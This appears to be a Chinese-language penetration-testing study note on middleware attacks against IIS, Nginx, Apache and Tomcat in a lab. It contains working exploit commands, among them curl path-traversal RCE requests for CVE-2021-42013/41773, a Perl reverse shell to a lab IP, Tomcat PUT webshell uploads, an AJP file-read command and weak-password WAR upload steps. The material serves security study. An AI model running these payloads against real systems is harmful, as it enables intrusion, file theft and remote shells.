第79天:服务攻防-中间件安全&IIS&Apache&Tomcat&Nginx&弱口令&错误配置&CVE

HTTP.SYS(CVE-2015-1635)

漏洞描述:远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

1
2
3
4
msfconsole
use auxiliary/dos/http/ms15_034_ulonglongadd
set rhosts xxxxxx
set rport xxxx

image-20250828185036632

IIS短文件

1
2
#漏洞成因
为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3短文件名。在Windows下查看对应的短文件名,可以使用命令dir /x

工具项目地址:https://github.com/lijiejie/IIS_shortname_Scanner

image-20250828185830509

IIS文件解析

应用场景:配合文件上传获取Webshell

IIS 6 解析漏洞

1
2
3
1、该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析
2、该版本默认会将*.asp/目录下的所有文件当成Asp解析。
如:logo.asp;.jpg xx.asp/logo.jpg

IIS 7.x 解析漏洞

1
在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件

IIS写权限

1
IIS<=6.0 目录权限开启写入,开启WebDAV,设置为允许

image-20250828190115685

image-20250828190131080

image-20250828190149181

中间件 - Nginx - 文件解析 & 命令执行等

CVE-2013-4547

1
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

image-20250828191458704

符合版本。

上传一个带有后门的图片马

image-20250828192250982

然后在去访问:

image-20250828192230100

image-20250828192151830

cve_2021_23017

GitHub 地址:https://github.com/M507/CVE-2021-23017-PoC

利用不起来。

cve_2017_7529

意义不大

当使用nginx标准模块时,攻击者可以通过发送包含恶意构造 range 域的 header 请求,来获取响应中的缓存文件头部信息。在某些配置中,缓存文件头可能包含后端服务器的IP地址或其它敏感信息,从而导致信息泄露。

中间件 - Apache-RCE & 目录遍历 & 文件解析等

cve_2021_42013

影响版本: Apache HTTP Server 2.4.49 和 2.4.50 这两个版本。

1
2
3
curl --data "echo;whoami" 'http://10.20.0.19:42481/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

curl --data "echo;id" 'http://10.20.0.19:42481/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

image-20250828194531513

getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 10.20.0.19:43252
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
If-None-Match: "2d-432a5e4a73a80"
Priority: u=0, i
Content-Length: 134

echo;perl -e 'use Socket;="10.20.0.36";=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(,inet_aton()))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

这里没有成功,估计是靶场的原因,就是如果getshell不成功,需要考虑是否是exp不支持有参数的形式,可能就需要找集成在一条命令的shell命令。就像上面这样。

cve_2021_41773

  • Apache HTTP Server 2.4.49、2.4.50 版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到 Web 目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

image-20250828195319219

1
curl -v --path-as-is 'http://10.20.0.19:10826/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

image-20250828195450587

1
2
# 使用bp发包测试
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

image-20250828195637440

其他 CVE

  • cve-2017-15715 文件解析
    • Apache HTTPD 是一款 HTTP 服务器。其 2.4.0~2.4.29 版本存在一个解析漏洞,在解析 PHP 时,1.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。
    • 演示案例:https://www.cnblogs.com/lzkalislw/p/17023784.html
  • cve_2017_9798 价值不高
  • cve_2018_11759 价值不高
  • cve_2021_37580 插件问题

中间件 - Tomcat - 弱口令 & 文件上传 & 文件包含等

弱口令猜解

配置不当导致后台弱口令,可通过上传 jsp 压缩包改名的 war 拿 shell

利用

  1. 先爆破 tomcat 登录弱口令
  2. 然后将生成的 webshell 后门如 1.jsp 压缩成 zip 后修改后缀为 war
  3. 上传 war 访问链接 / 1/1.jsp
  4. 文件存在,上传成功,使用工具连接即可

这个不算漏洞,因为上传文件和登录都是正常的功能

CVE-2017-12615 文件上传

  • 当存在漏洞的 Tomcat 运行在 Windows/Linux 主机上, 且启用了 HTTP PUT 请求方法( 例如, 将 readonly 初始化参数由默认值设置为 false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的 webshell 文件,JSP 文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。
  • 影响版本:Apache Tomcat 7.0.0 - 7.0.81
1
2
3
4
5
# 基于Linux
PUT /x.jsp/
PUT /xx.jsp%20
# 基于Windows
PUT /xxx.jsp::$DATA

image-20250828200544590

image-20250828200535209

cve_2020_1938文件包含

  • Apache Tomcat AJP 协议(默认 8009 端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器 webapp 目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
    漏洞影响的产品版本包括:
  • 影响版本:
    • Tomcat 6.*
    • Tomcat 7.* < 7.0.100
    • Tomcat 8.* < 8.5.51
    • Tomcat 9.* < 9.0.31

利用项目 GitHub 地址:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

1
python2.exe CNVD-2020-10487-Tomcat-Ajp-lfi.py 10.20.0.19 -p 61140 -f WEB-INF/web.xml

image-20250828201230356

好用的项目:

1
https://github.com/ZapcoMan/TomcatVulnToolkit

其他 CVE

  • cve_2020_11996 拒绝服务
    • 危害过大,权限无关,意义不大
  • cve_2020_9484 反序列化
    • 利用条件太苛刻,意义不大